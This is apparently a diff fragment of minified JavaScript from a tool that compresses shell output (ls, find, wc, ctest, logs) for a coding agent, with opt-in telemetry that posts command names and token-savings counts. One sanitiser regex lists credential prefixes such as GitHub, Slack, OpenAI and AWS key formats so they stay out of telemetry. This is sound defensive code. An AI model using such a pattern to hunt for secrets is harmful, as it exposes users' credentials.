s=e[o];if(t.inBlockComment){if(s==="*"&&e[o+1]==="/"){t.inBlockComment=!1,o+=2;continue}o+=1;continue}if(t.inTemplate){if(s==="\\"){o+=2;continue}s==="`"&&(t.inTemplate=!1),o+=1;continue}if(r){if(s==="\\"){o+=2;continue}s===r&&(r=null),o+=1;continue}if(s==="/"&&e[o+1]==="/")break;if(s==="/"&&e[o+1]==="*"){t.inBlockComment=!0,o+=2;continue}if(s==="`"){t.inTemplate=!0,o+=1;continue}if(s==="'"||s==='"'){let i=o>0?e[o-1]:"";!(s==="'"&&(i==="<"||i==="&"))&&dR(e,o+1,s)&&(r=s),o+=1;continue}s==="{"||s==="("||s==="["?n+=1:(s==="}"||s===")"||s==="]")&&(n-=1),o+=1}return n}function gR(e,t,n){let r=n==null?"":` (${n}-${n+t-1}): Read offset=${n} limit=${t} before editing`;return`${e}\u2026 ${t} ${t===1?"line":"lines"} folded${r} \u2026`}function dc(e){let t=new Array(e.length).fill(!1);for(let n=0;n<e.length;n+=1){let r=mR.exec(e[n]);if(!r)continue;let o=Number(r[1])-1,s=n+1;for(;o>0&&s<e.length&&e[s]==="";)t[s]=!0,o-=1,s+=1;n=s-1}return t}function Mo(e,t=3,n=!1){let r=[],o=0;for(;o<e.length;){let s=e[o];if(iR.test(s)&&aR.test(s)||uR(s)||fR.test(s)){let i={inBlockComment:!1,inTemplate:!1},a=0,l=o,c=!1;for(;l<e.length&&l-o<200;)if(a+=pR(e[l],i),l+=1,a<=0&&!i.inTemplate&&!i.inBlockComment){c=!0;break}let u=l-o;if(c&&u<t){r.push(...e.slice(o,l)),o=l;continue}if(c&&u>=3){let f=u-2,d=/^\s*/.exec(e[o+1]??"")?.[0]??" ";r.push(s),r.push(gR(d,f,n?o+2:null));for(let p=0;p<f-1;p++)r.push("");r.push(e[l-1]),o=l;continue}}r.push(s),o+=1}return r}function Si(e){let t=e.slice(0,4096);return!(!hR.test(t)||t.split(`
77
- `).length<6)}var iR,aR,lR,cR,fR,_i,mR,hR,dr=y(()=>{"use strict";iR=/^(\s*)(?:export\s+)?(?:async\s+)?(?:function|interface|type|const|let|var|def|fn|impl|trait|struct|enum)\s+[\w$]+/,aR=/\{\s*$/,lR=/^\s*(?:(?:public|private|protected|static|async|get|set|readonly|override)\s+)*([\w$]+)\s*\(([^)]*)\)\s*(?::\s*[^{]+)?\{\s*$/,cR=new Set(["if","for","while","switch","catch","do","with","return","else","function","await","yield"]);fR=/^\s*(?:if|for|while|switch|try|do)\b[^{}]*\{\s*$/;_i=/^\s*… \d+ lines? folded(?: \(\d+-\d+\): Read offset=\d+ limit=\d+ before editing)? …$/,mR=/^\s*… (\d+) lines? folded(?: \(\d+-\d+\): Read offset=\d+ limit=\d+ before editing)? …$/;hR=/\b(?:function|class|interface|import\s+|export\s+|def\s+|fn\s+|impl\s+|package\s+|namespace\s+|using\s+|#include|=>\s*\{|=\s*function)/});function Gg(e){let t=[],n=0,r=()=>{n>0&&t.push(`\u2026 ${n} verbose log line${n===1?"":"s"} dropped \u2026`),n=0};for(let o of e){if(zg.test(o.replace(Bg,""))&&!Ug.test(o)&&!Jg.test(o)){n+=1;continue}r(),t.push(o)}return r(),t}function jg(e){if(e.trim()===""||/^\s/.test(e)||Ug.test(e)||Jg.test(e)||kR.test(e))return null;let t=e.replace(Bg,"");return zg.test(t)||yR.test(t)?"\0verbose":e.replace(/\d+/g,"#")}function Zg(e){let t=[],n=0;for(;n<e.length;){let r=jg(e[n]),o=n+1;if(r!==null)for(;o<e.length&&jg(e[o])===r;)o+=1;let s=o-n;r===null||s<bR?t.push(...e.slice(n,o)):(t.push(...e.slice(n,n+Lg)),t.push(`\u2026 ${s-Lg-Hg} similar log lines dropped \u2026`),t.push(...e.slice(o-Hg,o))),n=o}return t}function Kg(e){return e.some(t=>wR.test(t))}function xi(e){if(e.length===0||Kg(e))return e;let t=[],n=1,r=e[0];for(let o=1;o<e.length;o++){if(e[o]===r){n+=1;continue}t.push(n>1&&r.trim()?`${r} \xD7${n}`:r),r=e[o],n=1}return t.push(n>1&&r.trim()?`${r} \xD7${n}`:r),t}function Wg(e){if(Kg(e))return e;let t=[],n=0;for(let r of e){if(r.trim()===""){n+=1;continue}n>0&&t.push(""),n=0,t.push(r)}return t}var Bg,zg,Ug,Jg,yR,kR,bR,Lg,Hg,wR,vi=y(()=>{"use strict";No();Bg=/^\s*(?:\d{4}-\d{2}-\d{2}[T\s]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?|\d{2}:\d{2}:\d{2}(?:\.\d+)?)\s*/,zg=/^\s*(?:\[(?:DEBUG|TRACE|INFO|VERBOSE)\]|(?:DEBUG|TRACE|INFO|VERBOSE)(?!\s*:))(?=\s|:|$)(?!\s*[+\-*\/%&|^?]*=)/,Ug=new RegExp(je.source,"i"),Jg=/\bWARN(?:ING)?\b/i;yR=/^(?:DEBUG|INFO):[\w.-]+:/,kR=/Error|Exception|Traceback|panic|fail|FAIL|Fail|SEVERE|CRITICAL/,bR=8,Lg=1,Hg=2;wR=/^@@ -\d+(?:,\d+)? \+\d+(?:,\d+)? @@/});function K(e,t){Vg.set(e,t)}function qg(e){return Vg.get(e)}var Vg,Te=y(()=>{"use strict";Vg=new Map});function vR(e){if(e<1024)return String(e);let t=["K","M","G","T"],n=e/1024,r=0;for(;n>=1024&&r<t.length-1;)n/=1024,r+=1;return`${n.toFixed(1)}${t[r]}`}function ER(e){let t=/^(\d+(?:[.,]\d+)?)([KMGTPkmgtp])?/.exec(e),n=t[2]?xR[t[2].toLowerCase()]:0;return Number(t[1].replace(",","."))*1024**n}function TR(e){let t=SR.exec(e);if(!t)return null;let n=t[4].trim();if(n===""||n==="."||n==="..")return null;let r=t[3],o=/^\d+$/.test(r)?vR(Number(r)):r,s=e.charCodeAt(0)===100;return{name:n,size:o,sizeKey:ER(r),isDir:s,mode:t[1],owner:t[2].replace(/\s+/g," ")}}function RR(e){if(e.length<3)return null;let t=new Map;for(let o of e){let s=o.name.lastIndexOf(".");if(s<=0)continue;let i=o.name.slice(s);t.set(i,(t.get(i)??0)+1)}let n=null,r=0;for(let[o,s]of t)s>r&&(r=s,n=o);return n&&r>=Math.ceil(e.length/2)?`${r} ${n}`:null}function Yg(e,t){let n=[],r=e;for(let o of t)r.length+1+o.length>CR&&r!==e&&r!==" "&&(n.push(r),r=" "),r+=r===" "?o:` ${o}`;return n.push(r),n}function OR(e){let t=e.endsWith("/")?"":e,n=t.indexOf(".",1);return n>0?t.slice(n):""}function PR(e){let t=e.filter(l=>l.trim()!=="");if(t.length<AR)return null;let n=e.findIndex(l=>l.trim()!==""),r=e.length-1-[...e].reverse().findIndex(l=>l.trim()!=="");if(e.slice(n,r+1).some(l=>l.trim()==="")||t.some(l=>l.endsWith(":")||eh.test(l.trim())||Qg.test(l)||/^total\s+\d+/.test(l)||l!==l.trimEnd()||l.startsWith(" "))||t.filter(l=>/\s/.test(l)).length>t.length*.2)return null;let o=l=>/\s|"/.test(l)?JSON.stringify(l):l,s=new Map;for(let l of t){let c=OR(l),u=s.get(c)??[];u.push(l),s.set(c,u)}let i=[`${t.length} entries:`],a=[];for(let[l,c]of[...s.entries()].sort((u,f)=>f[1].length-u[1].length||u[0].localeCompare(f[0])))l&&c.length>=$R&&c.every(u=>!/\s|"/.test(u))?i.push(...Yg(`*${l} (${c.length}):`,c.map(u=>u.slice(0,-l.length)))):a.push(...c);return a.length&&i.push(...Yg(`other (${a.length}):`,a.map(o))),i.join(`
95
+ `,{mode:384}),hc(r,n)}async function _i(e,t,n={}){if(!ee()||pc.has(e)||!SR(e))return"fail";pc.add(e);try{if(!(await re()).telemetryOptIn)return Gg(e),"empty";if(!zg())return"fail";let r=$R(e);if(r.length===0)return"empty";let o=await q();if(!o)return"fail";let s=n.baseUrl??ln(),i=await mt();for(let a=0;a<r.length;a+=mc){if(!(await re()).telemetryOptIn)return Gg(e),"empty";xR(e);let l=await Ge("POST",t,{events:r.slice(a,a+mc),...n.consent?{consent:!0}:{}},{baseUrl:s,bearer:o.jwt,signingSecret:o.signingSecret,fingerprint:i.fingerprint,installId:i.installId});if(!l.ok)return l.status===401||l.status===403?"auth":"fail";OR(e,r.slice(a+mc))}return"ok"}catch{return"fail"}finally{pc.delete(e),ER(e)}}function Gg(e){try{lr(yi(e))}catch{}try{lr(`${yi(e)}.merging`)}catch{}try{lr(bi(e))}catch{return}}var yc,mc,_R,pc,vR,Si=y(()=>{"use strict";$s();U();Ue();Dn();Pn();pt();Je();Ug();yc=512*1024,mc=100,_R=12e4,pc=new Set;vR=1024*1024});var qg={};he(qg,{commandName:()=>xi,flushTelemetry:()=>Sc,recordTelemetry:()=>Do});function BR(e){if(!/[\\/]/.test(e))return e;let t=e.split(/[\\/]/).filter(r=>r.length>0).pop()??"",n=t.toLowerCase().endsWith(".exe")?t.slice(0,-4):t;return Vg.has(n.toLowerCase())?n:""}function zR(e,t,n){let r=0;for(;e==="git"&&r<n.length&&n[r].startsWith("-");)r+=jR.has(n[r])?2:1;let o=(n[r]??"").toLowerCase();return t.has(o)?`${e} ${o}`:e}function Kg(e){let t=e.toLowerCase();return t.startsWith("git")||MR.has(t)}function xi(e){let t=e.trim().split(/\s+/).filter(l=>l.length>0),n=0;for(;n<t.length&&NR.test(t[n]??"");)n+=1;let r=BR(t[n]??"");if(!r||!IR.test(r)||r.length>FR)return"";let o=HR.get(r.toLowerCase());if(o)return zR(r.toLowerCase(),o,t.slice(n+1));if(Kg(r)||DR.test(r)||an(r)!==r)return"";let s=t[n+1];return s&&Kg(s)?"":(s&&Wg.has(r.toLowerCase())&&PR.test(s)?`${r} ${s}`:r).slice(0,64)}function UR(e){return LR.has((e.split(" ")[0]??"").toLowerCase())}async function Do(e){if(!e.telemetryOptIn)return;let t=xi(e.cmd),n=t&&an(t)===t&&UR(t)?t:"other",r=e.sessionId?e.sessionId.replace(/[^A-Za-z0-9._-]/g,"").slice(0,64):"";wi("telemetry",{cmd:n,tokensSaved:Math.max(0,Math.round(e.tokensSaved)),...e.tokensRestored?{tokensRestored:Math.max(0,Math.round(e.tokensRestored))}:{},...e.rawTokens!=null?{rawTokens:Math.max(0,Math.round(e.rawTokens))}:{},optimized:e.optimized,...r?{sessionId:r}:{},...e.host?{host:e.host}:{}})}async function Sc(e){return _i("telemetry","/api/v1/telemetry",{baseUrl:e,consent:!0})}var IR,PR,NR,MR,DR,FR,Wg,Vg,LR,HR,jR,ur=y(()=>{"use strict";Vr();Si();IR=/^[a-z0-9][a-z0-9._-]*$/i,PR=/^[a-z][a-z-]+$/,NR=/^[A-Za-z_][A-Za-z0-9_]*=/,MR=new Set(["gh","glab","gup","hub","gist"]),DR=/^(gh[a-z]_|github_pat_|gl(?:pat|rt|soat|imt|dt|ft|agent|oas)-|npm_|xox|sk-|sk_|eyj|a(?:kia|sia|gpa|ida|roa|npa)|aiza|hv[sb]\.)/i,FR=24,Wg=new Set(["docker","podman","npm","pnpm","yarn","npx","bun","deno","cargo","rustup","go","pip","pip3","uv","poetry","brew","apt","apt-get","dnf","yum","pacman","kubectl","helm","terraform","aws","gcloud","az","systemctl","composer","bundle","gem","dotnet","prisma","tkr","rtk","token"]),Vg=new Set([...Wg,"git","gh","node","python","python3","bash","sh","zsh","psql","mysql","sqlite3","java","ruby","perl","rg","fd","jq","make","gradle","mvn","vitest","jest","tsc","esbuild","vite","webpack","playwright","rails","rake"]),LR=new Set([...Vg,"cd","cat","head","tail","ls","tree","find","grep","wc","nl","sort","cut","uniq","tr","diff","stat","file","du","df","ps","yq","pwd","which","echo","printf","seq","sed","awk","gawk","xargs","sleep","tar","zip","unzip","rsync","scp","ssh","curl","wget","dig","host","nslookup","ping","lsof","journalctl","iptables","ip6tables","open","md5","md5sum","sha1sum","sha224sum","sha256sum","sha384sum","sha512sum","shasum","sudo","env","command","time","nodejs","bunx","pytest","mypy","dmypy","pyright","basedpyright","ruff","black","ty","gradlew","mvnw","mvnd","ninja","cmake","bazel","bazelisk","sbt","gcc","clang","gmake","swift","xcodebuild","pod","flutter","nx","turbo","next","eslint","prettier","biome","oxlint","golangci-lint","shellcheck","hadolint","yamllint","markdownlint","mdl","sqlfluff","rubocop","rspec","bundler","php","artisan","composer","phpunit","phpstan","pest","paratest","pint","mix","javap","jar","docker-compose","skopeo","oc","ecs","nomad","consul","packer","pulumi","tofu","ansible","ansible-playbook","vault","sops","vercel","netlify","wrangler","firebase","supabase","stripe","shopify","theme-check","redis-cli","liquibase","ollama","ast-grep","just","task","mise","trunk","pre-commit","jj","yadm","gt","quarto","act","jira","fail2ban-client","ctest","pio","platformio","reducer","restore","read-tool","grep-tool","glob-tool","bash-tool"]),HR=new Map([["git",new Set(["status","diff","log","show","blame","ls-files","rev-parse","branch","fetch","pull","push","commit","checkout","switch","merge","rebase","stash","tag","remote","add","reset","restore","clean","grep"])],["gh",new Set(["pr","issue","run","repo","api"])]]),jR=new Set(["-C","-c"])});function st(e){return e.replace(JR,"").replace(GR,"")}var JR,GR,Fo=y(()=>{"use strict";JR=/\x1b\[[0-9;?]*[ -/]*[@-~]/g,GR=/\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)/g});function xc(e,t){return t.length===0?e:e.filter(n=>!t.some(r=>r.test(n)))}var Yg=y(()=>{"use strict"});function Xg(e){let t=e.trim();if(t.length>4096||!(t.startsWith("{")&&t.endsWith("}")||t.startsWith("[")&&t.endsWith("]")))return!1;try{return JSON.parse(t),!0}catch{return!1}}function Qg(e,t){return e.some(n=>n.length>t)&&Xg(e.join(`
96
+ `))?e:e.map(n=>{if(n.length<=t||Xg(n))return n;let r=n.charCodeAt(t-1),o=n.charCodeAt(t),s=r>=55296&&r<=56319&&o>=56320&&o<=57343?t-1:t;return`${n.slice(0,s)}\u2026`})}var eh=y(()=>{"use strict"});function fr(e){return`\u2026 (${e} more lines omitted)`}function th(e,t){if(e.length<=t)return{kept:e,dropped:[]};let n=Math.ceil(t*.7),r=t-n,o=e.slice(n,e.length-r),s=o.filter(a=>a.length<=WR&&ZR.test(a)).slice(0,KR),i=o.length-s.length;return{kept:[...e.slice(0,n),...i>0?[fr(i)]:[],...s,...e.slice(e.length-r)],dropped:o}}var ZR,KR,WR,Ec=y(()=>{"use strict";ZR=/\b(?:ERROR|FATAL|CRITICAL|PANIC)\b|\bpanic:|\bTraceback \(most recent|\b[A-Z][A-Za-z0-9]*(?:Error|Exception)\b|\berror(?:\[[A-Za-z0-9]+\])?:/,KR=20,WR=4096});function nh(e,t){let n=t>0?t:5,r=[],o=0,s=a=>{o>=n?r.push(`\u2026 ${o} passing checks folded \u2026`):r.push(...a)},i=[];for(let a of e)VR.test(a)&&!je.test(a)?(i.push(a),o+=1):(s(i),i=[],o=0,r.push(a));return s(i),r}var VR,je,Lo=y(()=>{"use strict";VR=/^\s*(?:[✓✔√]|ok )/,je=/✕|✗|×|\bFAIL\b|\bERROR\b|\bFATAL\b|\bError|\berror|Expected|Received|\bfailed\b|^\s*Tests?:|^\s*Test Suites?:/});function rh(e){return e.map(t=>t.replace(qR,n=>{let r=n.split("/").filter(Boolean);return r.length<=2?n:`\u2026/${r.slice(-2).join("/")}`}))}var qR,oh=y(()=>{"use strict";qR=/(?:\/[\w.@+-]+){3,}/g});function tA(e){let t=QR.exec(e);return!t||eA.has(t[1])?!1:!/=>|\bfunction\b/.test(t[2])}function rA(e,t,n){let r=t;for(;r<e.length;){if(e[r]==="\\"){r+=2;continue}if(e[r]===n)return!0;r+=1}return!1}function oA(e,t){let n=0,r=null,o=0;for(;o<e.length;){let s=e[o];if(t.inBlockComment){if(s==="*"&&e[o+1]==="/"){t.inBlockComment=!1,o+=2;continue}o+=1;continue}if(t.inTemplate){if(s==="\\"){o+=2;continue}s==="`"&&(t.inTemplate=!1),o+=1;continue}if(r){if(s==="\\"){o+=2;continue}s===r&&(r=null),o+=1;continue}if(s==="/"&&e[o+1]==="/")break;if(s==="/"&&e[o+1]==="*"){t.inBlockComment=!0,o+=2;continue}if(s==="`"){t.inTemplate=!0,o+=1;continue}if(s==="'"||s==='"'){let i=o>0?e[o-1]:"";!(s==="'"&&(i==="<"||i==="&"))&&rA(e,o+1,s)&&(r=s),o+=1;continue}s==="{"||s==="("||s==="["?n+=1:(s==="}"||s===")"||s==="]")&&(n-=1),o+=1}return n}function iA(e,t,n){let r=n==null?"":` (${n}-${n+t-1}): Read offset=${n} limit=${t} before editing`;return`${e}\u2026 ${t} ${t===1?"line":"lines"} folded${r} \u2026`}function vc(e){let t=new Array(e.length).fill(!1);for(let n=0;n<e.length;n+=1){let r=sA.exec(e[n]);if(!r)continue;let o=Number(r[1])-1,s=n+1;for(;o>0&&s<e.length&&e[s]==="";)t[s]=!0,o-=1,s+=1;n=s-1}return t}function Ho(e,t=3,n=!1){let r=[],o=0;for(;o<e.length;){let s=e[o];if(YR.test(s)&&XR.test(s)||tA(s)||nA.test(s)){let i={inBlockComment:!1,inTemplate:!1},a=0,l=o,c=!1;for(;l<e.length&&l-o<200;)if(a+=oA(e[l],i),l+=1,a<=0&&!i.inTemplate&&!i.inBlockComment){c=!0;break}let u=l-o;if(c&&u<t){r.push(...e.slice(o,l)),o=l;continue}if(c&&u>=3){let f=u-2,d=/^\s*/.exec(e[o+1]??"")?.[0]??" ";r.push(s),r.push(iA(d,f,n?o+2:null));for(let m=0;m<f-1;m++)r.push("");r.push(e[l-1]),o=l;continue}}r.push(s),o+=1}return r}function vi(e){let t=e.slice(0,4096);return!(!aA.test(t)||t.split(`
97
+ `).length<6)}var YR,XR,QR,eA,nA,Ei,sA,aA,dr=y(()=>{"use strict";YR=/^(\s*)(?:export\s+)?(?:async\s+)?(?:function|interface|type|const|let|var|def|fn|impl|trait|struct|enum)\s+[\w$]+/,XR=/\{\s*$/,QR=/^\s*(?:(?:public|private|protected|static|async|get|set|readonly|override)\s+)*([\w$]+)\s*\(([^)]*)\)\s*(?::\s*[^{]+)?\{\s*$/,eA=new Set(["if","for","while","switch","catch","do","with","return","else","function","await","yield"]);nA=/^\s*(?:if|for|while|switch|try|do)\b[^{}]*\{\s*$/;Ei=/^\s*… \d+ lines? folded(?: \(\d+-\d+\): Read offset=\d+ limit=\d+ before editing)? …$/,sA=/^\s*… (\d+) lines? folded(?: \(\d+-\d+\): Read offset=\d+ limit=\d+ before editing)? …$/;aA=/\b(?:function|class|interface|import\s+|export\s+|def\s+|fn\s+|impl\s+|package\s+|namespace\s+|using\s+|#include|=>\s*\{|=\s*function)/});function dh(e){let t=[],n=0,r=()=>{n>0&&t.push(`\u2026 ${n} verbose log line${n===1?"":"s"} dropped \u2026`),n=0};for(let o of e){if(ch.test(o.replace(lh,""))&&!uh.test(o)&&!fh.test(o)){n+=1;continue}r(),t.push(o)}return r(),t}function ah(e){if(e.trim()===""||/^\s/.test(e)||uh.test(e)||fh.test(e)||cA.test(e))return null;let t=e.replace(lh,"");return ch.test(t)||lA.test(t)?"\0verbose":e.replace(/\d+/g,"#")}function mh(e){let t=[],n=0;for(;n<e.length;){let r=ah(e[n]),o=n+1;if(r!==null)for(;o<e.length&&ah(e[o])===r;)o+=1;let s=o-n;r===null||s<uA?t.push(...e.slice(n,o)):(t.push(...e.slice(n,n+sh)),t.push(`\u2026 ${s-sh-ih} similar log lines dropped \u2026`),t.push(...e.slice(o-ih,o))),n=o}return t}function ph(e){return e.some(t=>fA.test(t))}function Ti(e){if(e.length===0||ph(e))return e;let t=[],n=1,r=e[0];for(let o=1;o<e.length;o++){if(e[o]===r){n+=1;continue}t.push(n>1&&r.trim()?`${r} \xD7${n}`:r),r=e[o],n=1}return t.push(n>1&&r.trim()?`${r} \xD7${n}`:r),t}function gh(e){if(ph(e))return e;let t=[],n=0;for(let r of e){if(r.trim()===""){n+=1;continue}n>0&&t.push(""),n=0,t.push(r)}return t}var lh,ch,uh,fh,lA,cA,uA,sh,ih,fA,Ri=y(()=>{"use strict";Lo();lh=/^\s*(?:\d{4}-\d{2}-\d{2}[T\s]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?|\d{2}:\d{2}:\d{2}(?:\.\d+)?)\s*/,ch=/^\s*(?:\[(?:DEBUG|TRACE|INFO|VERBOSE)\]|(?:DEBUG|TRACE|INFO|VERBOSE)(?!\s*:))(?=\s|:|$)(?!\s*[+\-*\/%&|^?]*=)/,uh=new RegExp(je.source,"i"),fh=/\bWARN(?:ING)?\b/i;lA=/^(?:DEBUG|INFO):[\w.-]+:/,cA=/Error|Exception|Traceback|panic|fail|FAIL|Fail|SEVERE|CRITICAL/,uA=8,sh=1,ih=2;fA=/^@@ -\d+(?:,\d+)? \+\d+(?:,\d+)? @@/});function W(e,t){hh.set(e,t)}function yh(e){return hh.get(e)}var hh,Te=y(()=>{"use strict";hh=new Map});function gA(e){if(e<1024)return String(e);let t=["K","M","G","T"],n=e/1024,r=0;for(;n>=1024&&r<t.length-1;)n/=1024,r+=1;return`${n.toFixed(1)}${t[r]}`}function hA(e){let t=/^(\d+(?:[.,]\d+)?)([KMGTPkmgtp])?/.exec(e),n=t[2]?pA[t[2].toLowerCase()]:0;return Number(t[1].replace(",","."))*1024**n}function yA(e){let t=mA.exec(e);if(!t)return null;let n=t[4].trim();if(n===""||n==="."||n==="..")return null;let r=t[3],o=/^\d+$/.test(r)?gA(Number(r)):r,s=e.charCodeAt(0)===100;return{name:n,size:o,sizeKey:hA(r),isDir:s,mode:t[1],owner:t[2].replace(/\s+/g," ")}}function kA(e){if(e.length<3)return null;let t=new Map;for(let o of e){let s=o.name.lastIndexOf(".");if(s<=0)continue;let i=o.name.slice(s);t.set(i,(t.get(i)??0)+1)}let n=null,r=0;for(let[o,s]of t)s>r&&(r=s,n=o);return n&&r>=Math.ceil(e.length/2)?`${r} ${n}`:null}function kh(e,t){let n=[],r=e;for(let o of t)r.length+1+o.length>_A&&r!==e&&r!==" "&&(n.push(r),r=" "),r+=r===" "?o:` ${o}`;return n.push(r),n}function SA(e){let t=e.endsWith("/")?"":e,n=t.indexOf(".",1);return n>0?t.slice(n):""}function xA(e){let t=e.filter(l=>l.trim()!=="");if(t.length<bA)return null;let n=e.findIndex(l=>l.trim()!==""),r=e.length-1-[...e].reverse().findIndex(l=>l.trim()!=="");if(e.slice(n,r+1).some(l=>l.trim()==="")||t.some(l=>l.endsWith(":")||_h.test(l.trim())||wh.test(l)||/^total\s+\d+/.test(l)||l!==l.trimEnd()||l.startsWith(" "))||t.filter(l=>/\s/.test(l)).length>t.length*.2)return null;let o=l=>/\s|"/.test(l)?JSON.stringify(l):l,s=new Map;for(let l of t){let c=SA(l),u=s.get(c)??[];u.push(l),s.set(c,u)}let i=[`${t.length} entries:`],a=[];for(let[l,c]of[...s.entries()].sort((u,f)=>f[1].length-u[1].length||u[0].localeCompare(f[0])))l&&c.length>=wA&&c.every(u=>!/\s|"/.test(u))?i.push(...kh(`*${l} (${c.length}):`,c.map(u=>u.slice(0,-l.length)))):a.push(...c);return a.length&&i.push(...kh(`other (${a.length}):`,a.map(o))),i.join(`
78
98
  `).length<t.join(`
79
- `).length?i:null}function IR(e){if(!e)return!1;let t=/(?:^|[\s;&|(])ls(?=\s|$)([^|;&]*)/.exec(e);if(!t)return!1;for(let n of t[1].trim().split(/\s+/)){if(n==="--")break;if(/^--(?:sort|reverse|time)(?:=|$)/.test(n)||/^-[A-Za-z0-9]+$/.test(n)&&/[tSUfrvX]/.test(n))return!0}return!1}function Xg(e){let t=new Map;for(let o of e)t.set(o.mode,(t.get(o.mode)??0)+1);let n=null,r=0;for(let[o,s]of t)s>r&&([n,r]=[o,s]);return r>=2?n:null}function mc(e,t){if(IR(t))return e;let n=PR(e);if(n)return n;let r=[],o=[],s=!1;for(let m of e){if(m.trim()===""||/^total\s+\d+/.test(m))continue;if(eh.test(m.trim())||!Qg.test(m))return e;let _=TR(m);if(!_){if(/\s\.\.?$/.test(m))continue;return e}s=!0,(_.isDir?r:o).push(_)}if(!s)return e;let i=(m,_)=>m.name.localeCompare(_.name);r.sort(i),o.sort((m,_)=>_.sizeKey-m.sizeKey||i(m,_));let a=[...r,...o],l=a.every(m=>m.owner===a[0].owner)?a[0].owner:null,c=Xg(r),u=Xg(o),f=[];for(let m of a){let _=m.isDir?c:u,E=`${m.mode===_?"":`${m.mode} `}${l===null?`${m.owner} `:""}${m.isDir?`${m.name}/`:m.name}`;f.push(m.isDir?E:`${E} ${m.size}`)}if(f.length>pc){let m=f.length-pc;f=[...f.slice(0,pc),`\u2026 ${m} more lines omitted`]}let d=o.length===1?"file":"files",p=r.length===1?"dir":"dirs",g=RR(o),h=`${o.length} ${d}, ${r.length} ${p}`+(g?` (${g})`:"")+(l===null?"":`, owner ${l.replace(" ",":")}`)+(c||u?`, mode ${[c&&`dirs ${c}`,u&&`files ${u}`].filter(Boolean).join(", ")} unless shown`:"");return f.push(h),f}var Qg,eh,_R,SR,xR,pc,AR,$R,CR,th=y(()=>{"use strict";Te();Qg=/^[dbclps\-][rwxsStT\-]{9}[@.+]?(?:\s|$)/,eh=/^[./~][^\s]*:$/,_R=String.raw`(?:[^\s\d]{3,}\s+\d{1,2}|\d{1,2}\s+[^\s\d]{3,})\s+(?:\d{1,2}:\d{2}|\d{4})|\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}(?::\d{2}(?:\.\d+)?)?(?:\s+[+-]\d{4})?`,SR=new RegExp(String.raw`^(\S+)\s+\d+\s+(\S+(?:\s+\S+)??)\s+(\d+(?:[.,]\d+)?[KMGTPkmgtp]?i?B?)\s+(?:${_R})\s+(.+)$`),xR={k:1,m:2,g:3,t:4,p:5},pc=1e3;AR=12,$R=3,CR=180;K("smart-ls",mc)});var nh=y(()=>{"use strict";dr();Te();K("smart-read",e=>Mo(e))});function NR(e){let t=e[0].split("/");for(let n of e.slice(1)){let r=n.split("/"),o=0;for(;o<t.length&&o<r.length&&t[o]===r[o];)o+=1;if(t=t.slice(0,o),t.length===0)break}return t.join("/")}function MR(e){if(e.length<2||e.some(o=>o.startsWith('"')))return"";let t=e[0];for(let o of e.slice(1)){let s=0;for(;s<t.length&&s<o.length&&t[t.length-1-s]===o[o.length-1-s];)s+=1;if(t=t.slice(t.length-s),!t)return""}let n=t.indexOf("."),r=n<0?"":t.slice(n);return r.length>=3&&e.every(o=>o.length>r.length)?r:""}function DR(e){let t=e.filter(c=>c.trim()!=="");if(t.length===0||t.filter(c=>!/\s/.test(c.trim())).length<t.length*.6)return e;let r=new Map,o=[],s=0;for(let c of t){let u=c.trim();if(u.startsWith("find:")){o.push(u);continue}let f=u.replace(/^\.\//,"").replace(/\/+$/,""),d=f.lastIndexOf("/"),p=d>0?f.slice(0,d):d===0?"/":"",g=d>=0?f.slice(d+1):f;if(!g)continue;let h=r.get(p)??[];h.push(/\s/.test(g)?`"${g}"`:g),r.set(p,h),s+=1}if(s===0)return e;let i=[...r.keys()].sort(),a=i.every(c=>c!=="")&&!i.includes("/")?NR(i):"",l=[`${s}F ${i.length}D${a?` in ${a}/`:""}:`];for(let c of i){let u=c==="/"?"/":a?c.slice(a.length).replace(/^\//,""):c,f=r.get(c),d=MR(f),p=d?f.map(g=>g.slice(0,-d.length)):f;l.push(`${u==="/"?"/":u?`${u}/`:"./"} (${f.length}${d?`, *${d}`:""}): ${p.join(" ")}`)}if(l.length+o.length>rh){let c=Math.max(0,rh-o.length),u=l.length-c;return[...l.slice(0,c),`\u2026 ${u} more lines omitted`,...o]}return[...l,...o]}var rh,oh=y(()=>{"use strict";Te();rh=1e3;K("smart-find",DR)});function LR(e){let t=[];for(let i of e){if(i.trim()==="")continue;let a=FR.exec(i);if(!a)return e;t.push({counts:a[1].replace(/\s+/g," "),path:a[2]})}let n=t.filter(i=>i.path!=="total");if(n.length<2)return t.length?t.map(i=>`${i.counts} ${i.path}`):e;let r=n.map(i=>i.path.includes("/")?i.path.slice(0,i.path.lastIndexOf("/")+1):""),o=r[0];for(let i of r)for(;o&&!i.startsWith(o);)o=o.slice(0,o.slice(0,-1).lastIndexOf("/")+1);let s=o?[`in ${o}:`]:[];for(let i of t)s.push(`${i.counts} ${i.path!=="total"&&o?i.path.slice(o.length):i.path}`);return s}var FR,sh=y(()=>{"use strict";Te();FR=/^\s*(\d+(?:\s+\d+){0,3})\s+(\S.*)$/;K("smart-wc",LR)});function BR(e){let t=[];for(let n=0;n<e.length;n+=1){let r=1;for(;n+r<e.length&&e[n+r]===e[n];)r+=1;t.push(r>1?`${e[n]} \xD7${r}`:e[n]),n+=r-1}return t}function zR(e){if(e.length<=gc+hc+1)return e;let t=e.slice(gc,-hc),n=t.filter(o=>jR.test(o)),r=t.length-n.length;return r===0?e:[...e.slice(0,gc),...n,`\u2026 ${r} more lines omitted`,...e.slice(-hc)]}function UR(e){if(!e.some(o=>ih.test(o)))return e;let t=[],n=[],r=()=>{t.push(...zR(BR(n))),n=[]};for(let o=0;o<e.length;o+=1){let s=e[o];if(HR.test(s))return r(),t.push(...e.slice(o)),t;if(ih.test(s)){r(),t.push(s);continue}n.push(s)}return r(),t}var ih,HR,jR,gc,hc,ah=y(()=>{"use strict";Te();No();ih=/^\s*\d+\/\d+ Test\s+#\s*\d+: \S+ \.{2,}/,HR=/^\d+% tests passed, \d+ tests? failed out of \d+$/,jR=new RegExp(`${je.source}|\\*\\*\\*|Exception|FAIL|ERROR`),gc=3,hc=8;K("smart-ctest",UR)});function JR(e){if(e.length<2)return"";let t=e[0].slice(0,e[0].lastIndexOf("/")+1);for(let n of e)for(;t&&!n.startsWith(t);)t=t.slice(0,t.slice(0,-1).lastIndexOf("/")+1);return t}function GR(e){let t=e.join(`
80
